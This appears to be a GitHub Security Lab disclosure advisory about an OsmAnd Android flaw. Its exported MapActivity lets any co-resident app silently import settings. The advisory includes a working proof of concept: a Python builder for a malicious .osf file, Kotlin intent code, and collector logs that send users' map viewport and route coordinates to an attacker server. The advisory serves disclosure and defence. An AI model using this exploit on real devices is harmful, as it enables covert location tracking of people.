Coordinated Disclosure Timeline
- 2026-04-14: Sent reports via email to support@osmand.net
- 2026-06-28: Maintainer confirmed all vulnerabilities fixed.
Summary
OsmAnd version 3043c92b27b24a0b2c848bc7041cf5f69ede4ed6 is vulnerable to an issue where the Exported MapActivity improperly handles privileged AIDL intent extras without verifying their origin. This flaw allows a zero-permission app to silently import arbitrary .osf settings, potentially leading to unauthorized configuration changes.
Project
osmand
Tested Version
3043c92b27b24a0b2c848bc7041cf5f69ede4ed6
Details
Exported MapActivity honors privileged AIDL intent extras from any caller without origin verification, allowing a zero-permission app to silently import arbitrary .osf settings (GHSL-2026-108)
OsmAnd’s MapActivity is exported and registers ACTION_VIEW intent filters for content:// URIs ending in .osf (AndroidManifest.xml). On resume, IntentHelper.parseContentIntent() routes the intent — together with intent.getExtras() — into ImportHelper.handleContentImport():
} else if ("content".equals(scheme)) {
mapActivity.getImportHelper().handleContentImport(data, intent.getExtras(), true);
clearIntent(intent);
}
After filename-suffix routing (.osf → settings importer), ImportHelper.handleOsmAndSettingsImport() reads four privilege-escalation flags from those extras with no caller verification:
private void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) {
fileName = fileName.replace(ZIP_EXT, "");
if (extras != null && CollectionUtils.containsAny(extras.keySet(),
SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) {
int version = extras.getInt(SETTINGS_VERSION_KEY, -1);
String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY);
boolean replace = extras.getBoolean(REPLACE_KEY); // ← attacker-controlled
boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY); // ← attacker-controlled
ArrayList<String> exportTypeKeys =
extras.getStringArrayList(EXPORT_TYPE_LIST_KEY); // ← attacker-controlled
List<ExportType> exportTypes = null;
if (exportTypeKeys != null) {
exportTypes = ExportType.valuesOf(exportTypeKeys);
}
handleOsmAndSettingsImport(intentUri, fileName, exportTypes,
replace, silentImport, latestChanges, version);
} else {
handleOsmAndSettingsImport(intentUri, fileName,
null, false, false, null, -1); // safe defaults
}
}
The key constants are public strings defined in SettingsHelper.java#L49-L53: "settings_version", "replace", "silent_import", "export_type_list_key". Any app can set them via Intent.putExtra().
Intended caller — the gated AIDL entry point. These extras were designed for an internal AIDL → activity bridge. The gated method OsmandAidlApi.importProfileV2() — which sits behind the isAppEnabled() connected-app check — does not perform the import itself. Instead, it bundles the flags and launches MapActivity:
public boolean importProfileV2(Uri profileUri, List<String> settingsTypeKeys,
boolean replace, boolean silent, String latestChanges, int version) {
if (profileUri != null) {
Bundle bundle = new Bundle();
bundle.putStringArrayList(EXPORT_TYPE_LIST_KEY, new ArrayList<>(settingsTypeKeys));
bundle.putBoolean(REPLACE_KEY, replace);
bundle.putBoolean(SILENT_IMPORT_KEY, silent);
bundle.putString(SETTINGS_LATEST_CHANGES_KEY, latestChanges);
bundle.putInt(SETTINGS_VERSION_KEY, version);
MapActivity.launchMapActivityMoveToTop(app, null, profileUri, bundle);
return true;
}
return false;
}
Because MapActivity is exported, any app can replay this bundle directly — bypassing the AIDL connected-app check entirely.
Import without user consent. When the attacker-supplied flags reach SettingsImportTask.onPostExecute(), the user-facing review and confirmation fragments are skipped:
-
settingsTypes != null(fromexport_type_list_key) → skipsFileImportSettingsFragment.showInstance(), the user-facing review screen that lists which items would be imported. -
replace = true→ ingetDuplicatesListener(), callssetShouldReplace(true)on every item, overwriting existing entries instead of appending with a_1suffix. -
silentImport = true→ suppressesImportCompleteFragment.showInstance(), the import-complete notification.
The user sees OsmAnd briefly come to the foreground (singleTask → onNewIntent), no item list, no consent dialog, no completion notice.
Payload capabilities. Every ExportType is selectable via the export_type_list_key extra. The .osf format (a plain ZIP) can carry any combination of:
-
MAP_SOURCES→MapSourcesSettingsItem.apply()callsOsmandSettings.installTileSource(). Every map tile request (GET /{z}/{x}/{y}.png) is sent to the attacker’s server with the user’s viewport coordinates. -
ONLINE_ROUTING_ENGINES→OnlineRoutingSettingsItem.apply()callsOnlineRoutingHelper.saveEngine(). Every navigation request sends origin, destination, and waypoint coordinates to the attacker’s server. -
PROFILE→ProfileSettingsItem.apply()withshouldReplace=trueoverwrites a built-in profile (e.g."default"= Browse Map). The accompanyingProfileSettingsItemReader.readPreferencesFromJson()iterates JSON keys and writes arbitrary per-profile preferences viaCommonPreference.readFromJson()→setModeValue(appMode, parseString(value)). This is critical because OsmAnd defaults to offline vector map rendering (MAP_ONLINE_DATA = false), meaning a hijacked tile source would otherwise sit dormant. By settingmap_online_data → "true"andmap_tile_sources → "<attacker source name>"on the default profile, the attacker activates the raster tile layer and points it at their server. The layer switch atMapLayers.java#L301-L308is not gated byOsmandRasterMapsPlugin.isEnabled()— it is coreMapLayerscode. -
GLOBAL,CUSTOM_ROUTING, custom render styles, favorites, GPX tracks, and all other export types — the full list is inExportType.java.
Attack constraints: This is a co-resident-app-only attack, not triggerable via browser deep links.
Impact
A zero-permission malicious app installed on the same device can achieve persistent real-time location tracking with no user interaction beyond opening the malicious app once:
-
Privacy — Map tile tracking: The attacker injects a tile source pointing at their server and activates it by flipping
MAP_ONLINE_DATA → trueon the default profile. After OsmAnd restarts, every map pan/zoom emits tile requestsGET /tiles/{z}/{x}/{y}.pngto the attacker’s server. The slippy-map coordinates trivially convert to lat/lon bounding boxes, revealing the user’s real-time browsing location. -
Privacy — Route destination exfiltration: The attacker injects an OSRM routing engine. When the user requests navigation, the full origin/destination/waypoint coordinates are sent to the attacker’s server as URL path parameters (
/route/v1/car/{lon},{lat};{lon},{lat}). -
Integrity — Silent settings overwrite: With
replace=true, existing entries matched by name are overwritten. The attacker can name their tile source"OsmAnd (online tiles)"— the built-in default — to silently replace the user’s active map layer configuration.CWEs
- CWE-926: “Improper Export of Android Application Components”
- CWE-940: “Improper Verification of Source of a Communication Channel”
Proof of Concept
A .osf is a plain ZIP. The importer (SettingsImporter.processItems()) reads items.json first, instantiates SettingsItem subclasses by type, then streams matching ZIP entries into each item’s reader.
Step 1 — Build the malicious .osf payload:
# build_osf.py
import json, zipfile
ATTACKER = "http://10.0.2.2:8000" # emulator host
with zipfile.ZipFile("evil.osf", "w") as z:
z.writestr("items.json", json.dumps({
"version": 3,
"items": [
{"type": "MAP_SOURCES", "name": "map_sources"},
{"type": "ONLINE_ROUTING_ENGINES", "name": "online_routing_engines"},
{"type": "PROFILE", "file": "profile_default.json",
"appMode": {"stringKey": "default"}},
],
}))
# Tile source — every viewport pan hits this URL
z.writestr("map_sources.json", json.dumps({"items": [{
"sql": False, "name": "OsmAnd (online tiles)",
"minZoom": 1, "maxZoom": 19,
"url": f"{ATTACKER}/tiles/{{0}}/{{1}}/{{2}}.png",
"ext": ".png", "tileSize": 256, "bitDensity": 16,
"avgSize": 18000, "timesupported": True, "expire": 1,
}]}))
# OSRM routing engine — every navigation request hits this URL
z.writestr("online_routing_engines.json", json.dumps({"items": [{
"type": "OSRM",
"params": json.dumps({
"KEY": "online_routing_engine_poc",
"CUSTOM_NAME": "Tracker Routing",
"CUSTOM_URL": f"{ATTACKER}/osrm/",
"VEHICLE_KEY": "car",
}),
}]}))
# Flip MAP_ONLINE_DATA → true on the default profile so the raster
# layer is active on next launch (OsmAnd defaults to offline vector).
# Values MUST be strings — CommonPreference.readFromJson() uses
# json.getString() → parseString().
z.writestr("profile_default.json", json.dumps({
"map_online_data": "true",
"map_tile_sources": "OsmAnd (online tiles)",
}))
Step 2 — The zero-permission Android app delivers the payload:
// Stage the .osf from assets → cache, expose via FileProvider
val staged = File(cacheDir, "evil.osf")
assets.open("evil.osf").use { it.copyTo(staged.outputStream()) }
val uri = FileProvider.getUriForFile(this, "$packageName.fileprovider", staged)
startActivity(Intent(Intent.ACTION_VIEW).apply {
setDataAndType(uri, "*/*")
component = ComponentName("net.osmand.plus",
"net.osmand.plus.activities.MapActivity")
addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
or Intent.FLAG_ACTIVITY_NEW_TASK)
// Replay the AIDL service's bundle — bypasses isAppEnabled() gate
putExtra("settings_version", 3)
putExtra("settings_latest_changes", "")
putExtra("replace", true) // overwrite existing entries by name
putExtra("silent_import", true) // suppress completion notice
putStringArrayListExtra("export_type_list_key",
arrayListOf("MAP_SOURCES", "ONLINE_ROUTING_ENGINES", "PROFILE"))
})
Step 3 — Observe the exfiltration (attacker-side collector):
# Pan the map — collector_server.py output:
# [TILE #1] 14:23:07 z=15 x=9649 y=12320
# ├── center: 40.70979, -73.98743
# └── 🗺️ https://www.openstreetmap.org/#map=15/40.70979/-73.98743
Every tile loaded by the user (along with its coordinates) is captured, allowing an attacker to know where on the map a user is looking. To look convincing, a proper backend must be implemented.
In another PoC, when the user navigates to a location, the attacker can know both the origin and destination.
[ROUTE #1] 07:02:47 vehicle=car waypoints=2
├── path: /osrm/car/-122.084,37.4219983;-122.32450103759766,37.99944305419922
├── 📍 Origin: 37.421998, -122.084000
│ https://www.openstreetmap.org/#map=15/37.42200/-122.08400
├── 🏁 Destination: 37.999443, -122.324501
│ https://www.openstreetmap.org/#map=15/37.99944/-122.32450
├── params: {'overview': ['full'], 'steps': ['true']}
└── ⚠️ Attacker knows where the user is going
CVE
- CVE-2026-65997
Credit
This issue was discovered with the GitHub Security Lab Taskflow Agent and verified by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-108 in any communication regarding this issue.